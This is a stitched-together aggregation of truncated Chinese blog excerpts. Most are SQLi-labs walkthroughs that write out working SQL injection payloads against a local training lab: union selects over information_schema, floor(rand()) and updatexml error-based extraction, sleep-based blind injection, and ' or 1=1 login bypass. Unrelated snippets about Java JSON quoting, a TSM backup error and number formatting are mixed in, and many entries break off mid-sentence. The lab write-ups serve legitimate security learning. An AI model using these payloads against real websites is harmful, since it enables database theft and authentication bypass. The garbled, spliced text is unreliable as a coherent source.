报错 闭合掉括号 这关登录成功之后不显示登录的用户名密码了…
名字和less13一样? 看了下源码对比 less13 less14 less14应该是双引号吧 出错 构造永真登陆…
双注入查询可以查看这两篇介绍 https://www.2cto.com/article/201302/190763.html https://www.2cto.com/article/201303/192718.html 简而言之就是构造如下的查询,会使得查询结果的一部分通过报错的形式显示出来 ))as a from information_schema.tables group by a; 数据库执行结果 但是也有几率不报错 加大rand()的倍数时,报错几率更高,个人推荐用rand()*9这…
目录 前言 几种可能的注入方式 补充的相关知识点 前言 最近开始用SQLi_LABS学习注入,刚开始有点摸不到头脑,索性把看到的知识点记录下来,很多细节是看别人博客学的,就直接给链接了,在此向这些作者们表示衷心的感谢.主要为了自己学习记录,如果能帮到别人当然就更好了.有大神发现有错误请不吝赐教,多谢! 我这种小白目前的水平有点难以产出自己的见解,也就不再复制粘贴转载一些大家互相copy的内容了.而且相同的SQLi_LABS平台,我自己做一遍,理论上跟别人做的也一样,就把宝贵的时间贡献给学习进步,…
加and http://localhost/sqli/Less-9/?id=1' and '1'='1%23 http://localhost/sqli/Less-9/?id=1' and '1'='2%23 页面没有变化,一瞬间没弄懂了,看了下源码 发现无论查询的结果是什么,显示都不会有区别 学习一个函数 sleep(n)      休眠n秒 5秒后出现结果 和less8一样是盲注漏洞,构造请求 如果数据库名的第一个字符的ascii码不等于114 则休眠5s http://localhost/…
实质上和less1没有多大区别,看懂了一样走流程 提交参数 加单引号 http://localhost/sqli/Less-3/?id=1' 观察报错,看near 和 at 的引号之间内容 '1'') LIMIT 0,1 1后面有一个 ' 是我们添加的,于是正常的sql语句应该是 select ... from ... where xx=('1') limit 0,1 于是构造 select ... from ... where xx=('1')#') limit 0,1 对应的GET请求为 h…
GET方式提交id参数 添加单引号,出现报错,爆出数据库名称和部分SQL语句 http://localhost/sqli/Less-1/?id=1' 使用order by猜测字段数,用#注释掉后面limit 0,1语句 http://localhost/sqli/Less-1/?id=1' order by 1# 字符#浏览器不会编码可以手动编码%23 http://localhost/sqli/Less-1/?id=1' order by 1%23 order by 4时页面不正常,推测字段数…
查看源码,用户名和密码通过post提交 加单引号提交 出现报错,推测对应的SQL语句 , 直接使用or构造永真登录 成功,注意此处登录的用户为表中的第一个用户 需要改变用户可以通过改变筛选条件实现 作为表中的第二个用户登录 如果在客户端进行了敏感字符的输入限定,可以直接使用hackbar提交POST数据绕过 如果采用构造这种输入,登录会失败,原因是因为and的优先级是高于or的 yyy='test'返回false然后and运算仍为false, xxx='1' or false结果为false 也…
同less5 单引号改成双引号就行 http://localhost/sqli/Less-6/?id=a" union select 1,count(*),concat((select table_name from information_schema.tables where table_schema='security' limit 0,1),floor(rand()*9))as a from information_schema.tables group by a%23…
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试一试) Less-1: 提示参数是id,值为数字. 先测试是字符型还是字符串型: ?id=1 and 1=2--%20 ?id=1' and 1=2--%20 结果证明是字符串型. 然后一系列常规操作,order by 3为上限. payload: ?id=100' union select 1,u…
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太菜了..... 所以就真能默默的继续玩 Sqli labs系列 的源码了..... 不过SQL注入,主要可以分为 get 注入,post 注入,cookie 注入,其中咱们大部分都是的get 注入,post 注入都是提交表单类的注入,当然比如管理员登录框,如果存在注入,觉得嫌一直重复的话,可以用火狐…
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊...好歹我也是上打过网络安全攻防平台,注入卡在第七关,我下玩过 web_for_pentester ,web渗透靶机2pentester_II_i386,这些靶场的小菜比... 好了,不扯了,现在开始扯这个第二关. 原本想着明天闲着没事了玩玩吧,后来,我今天也是闲的没事,我就继续开始玩玩吧. 结果玩…
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了,我就开始弄这个,毕竟这个里面涉及到的 SQL 注入知识很全,我贴一个下载地址:Sqli labs系列下载地址 对了还有我这个系列的头顶图,那个图是某个低调群的活跃用户装X墙,纯属装 X ,娱乐着玩了,大家别当真哈. 开了正文开始了! 首先我们先开始第一关,然后构造下注入环境,也就是在 http://…
加单引号 没有任何信息输出 加and 页面变化,不正常是没有任何回显 http://localhost/sqli/Less-8/?id=1' and '1'='1 http://localhost/sqli/Less-8/?id=1' and '1'='2 出错也没有回显,考虑盲注,即通过不同请求页面的变化来作出判断 首先学习几个函数 length(str) 返回字符串的长度 if(a, b, c) 若条件a为真,返回b,否则返回c substr(str, pos, len) 从pos位置起截取…
前言 关于注释 说明:在SQL中--[空格]表示注释,但是在URL中--空格在发送请求的时候会把最后的空格去掉,所以用--+代替,因为+在被URL编码后会变成空格 MYSQL有三种常用注释: --[空格]注释内容 #注释内容(url中使用23%) /*注释内容*/ 第一关 测试注入类型: http://192.168.142.136/sqli/Less-1/?id=1' 报错:You have an error in your SQL syntax; check the manual that…
Less - 1: 页面: URL: http://127.0.0.1/sqli-labs-master/Less-1/ 测试: 1.回显正常,说明不是数字型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1 2.回显报错,说明是字符型注入, http://127.0.0.1/sqli-labs-master/Less-1/?id=1' 3.回显正常,单引号闭合成功,通过单引号闭合进行注入, http://127.0.0.1/sqli-labs-…
//原代码 JSONObject powerCurveJsonObj = new JSONObject(); powerCurveJsonObj.put("test",[0.5, 1.0, 1.5]); //后面是 List<Double> 这种方法存储的 List<Double>会变成一个string类型,返回的时候会再Double列表上面加引号"[0.5, 1.0, 1.5]" 解决办法: 将JSONObject中需要存储的数据存放到Ma…
提交id参数 加' http://localhost/sqli/Less-4/?id=1' 页面正常,添加" http://localhost/sqli/Less-4/?id=1" 对应的sql语句应为 select ... from ... where xx=("1") limit 0,1 构造 select ... from ... where xx=("1")#") limit 0,1 对应的GET请求 http://localh…
第五题: http://127.0.0.1/sqli/Less-5/?id=1 显示:You are in--.后面发现,不管是1,2,3,4都死显示Your are in --,不打紧,继续看看 http://127.0.0.1/sqli/Less-5/?id=3' 直接报错:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the r…
一.第一次见面 1.初识 http://localhost/Less-1/ 提示输入id,因此访问http://localhost/Less-1/?id=1 可以继续测试id=2.3.4等的情况,会输出不同的用户名和密码 2.进一步了解 每一次都会有不同的账号密码出来,当然肯定不能这样简单的访问. 既然题目说了存在单引号的错误,那就来试一下http://localhost/Less-1/?id=%27 没毛病报错了,说明单引号会被算入sql语句中 假设一下,这个sql语句是这样构造的: $sql…
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' and '0 ==>>不正常 所以是单引号注入.union一波试试: ?id=1' union select 1,2,'3 果然回显了.下面就从information_schema中爆数据了: 爆表名 ?id=100' union select 1,(select group_concat(tab…
这里是堆叠注入部分 less-38: 这题啥过滤都没有,直接上: ?id=100' union select 1,2,'3 less-39: 同less-38: ?id=100 union select 1,2,3 less-40: 输入?id=1',无语法错误回显.改成?id=1' and '1,返回与?id=1相同的结果.尝试: ?id=100' union select 1,2,'3 无返回结果,试试是不是有括号: ?id=100') union(select 1,2,'3 成功回显. l…
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回了错误,后来又试了--,一直无法注释,不知道什么情况.后来看标题,发现已经把注释给过滤掉了.服务端如下代码: //filter the comments out so as to comments should not work $reg = "/#/"; $reg1 = "/-…
错误不回显了 构造永真登陆 登陆成功了 虽然登陆成功了,但是数据库的数据还么有爆出来 构造一下用户名 ' or length(database())=8# 如果数据库名的长度不等于8,登陆会失败 猜测数据库名第一个字符是否为's',是则登陆成功 ' or ascii(substr(database(),1,1))=115#…
我先输入 ' 让其出错. 然后知道语句是单引号闭合. 然后直接 and 1=1 测试. 返回正常,再 and 1=2 . 返回错误,开始猜表段数. 恩,3位.让其报错,然后注入... 擦,不错出,再加个负号,让其报错. 好吧,还不报错,,,, 所以我就是卡在这里的.... 我最后看了看源码,报错型注入关卡. 然后我就去查资料了,才有了上这个文章,我把上篇出现报错的句子复制开,到我的文本上. 然后先复制第一个用. 额,啥都没爆出来.看来语句有点问题,我再改改. 好得,成功呢的报错了. 然后我把 d…
在我一系列常规的测试后发现,第五关和第六关,是属于报错注入的关卡,两关的区别是一个是单引号一个是双引号...当然我是看了源码的.... 基于报错注入的方法,我早就忘的差不多了,,,我记的我最后一次基于报错注入是在玩网络攻防平台第几关来着得,那个关卡时基于报错注入的,我当时还特地查了好多资料,学习了学习报错注入,当然在那段时间时,我看到我一个认为不错的团队开始收核心成员了,我就发了一份申请,果不其然,我被刷下来了,,,毕竟我还是菜么..... 当时申请的时候,我就想过,团队不养闲人,毕竟菜,所以菜…
这章,可能我总结开会比较长,图比较多,因为,我在做了一半,走进了一个死胡同,脑子,一下子没想开到底为啥.... 然后我自己想了好长时间也没想开,我也不想直接就去看源码,所以就先去百度了一下,结果一下子,我又跳进另一个坑了....正如这章的顶图,MySQL语句,我看人家正好用这个分析,为什么大家在构造语句的时候要用这个SQL语句,我自己想了想,我好像没总结这么细,所以就趁着这章,把那个SQL语句的在MySQL里的用法,写写,总结总结,然后再打第四关. 我先上一个我将用到的命令图,大家先看一下,防止…
环境: TSMserver:TSM 6.2.3 for Windows Server 2008 R2 TSMclient: TSM 5.5.0 for CentOS 遇到的故障: ANS1125E Unmatched Quotes: '' 这个问题在IBM的知识库里面查到的解决办法是 Correct the pattern using matching quotes in the syntax. 按照上面的描述我自己又进行了一下Windows 服务端的调度配置的重新设置,听师傅说:“TSM的Wi…
public static void main(String[] args) { double priceWithFreight = 1200.5698d; System.out.println(priceWithFreight); //double转string 超过1000小数点会变成逗号的bug, 不要用这个方法 NumberFormat nf = NumberFormat.getInstance(); nf.setRoundingMode(RoundingMode.HALF_UP);//…
http://192.168.136.128/sqli-labs-master/Less-61/?id=1' 单引号双括号闭合 192.168.136.128/sqli-labs-master/Less-61/?id=1')) or UpdateXml(1,concat(0x7e,database(),0x7e),1)%23…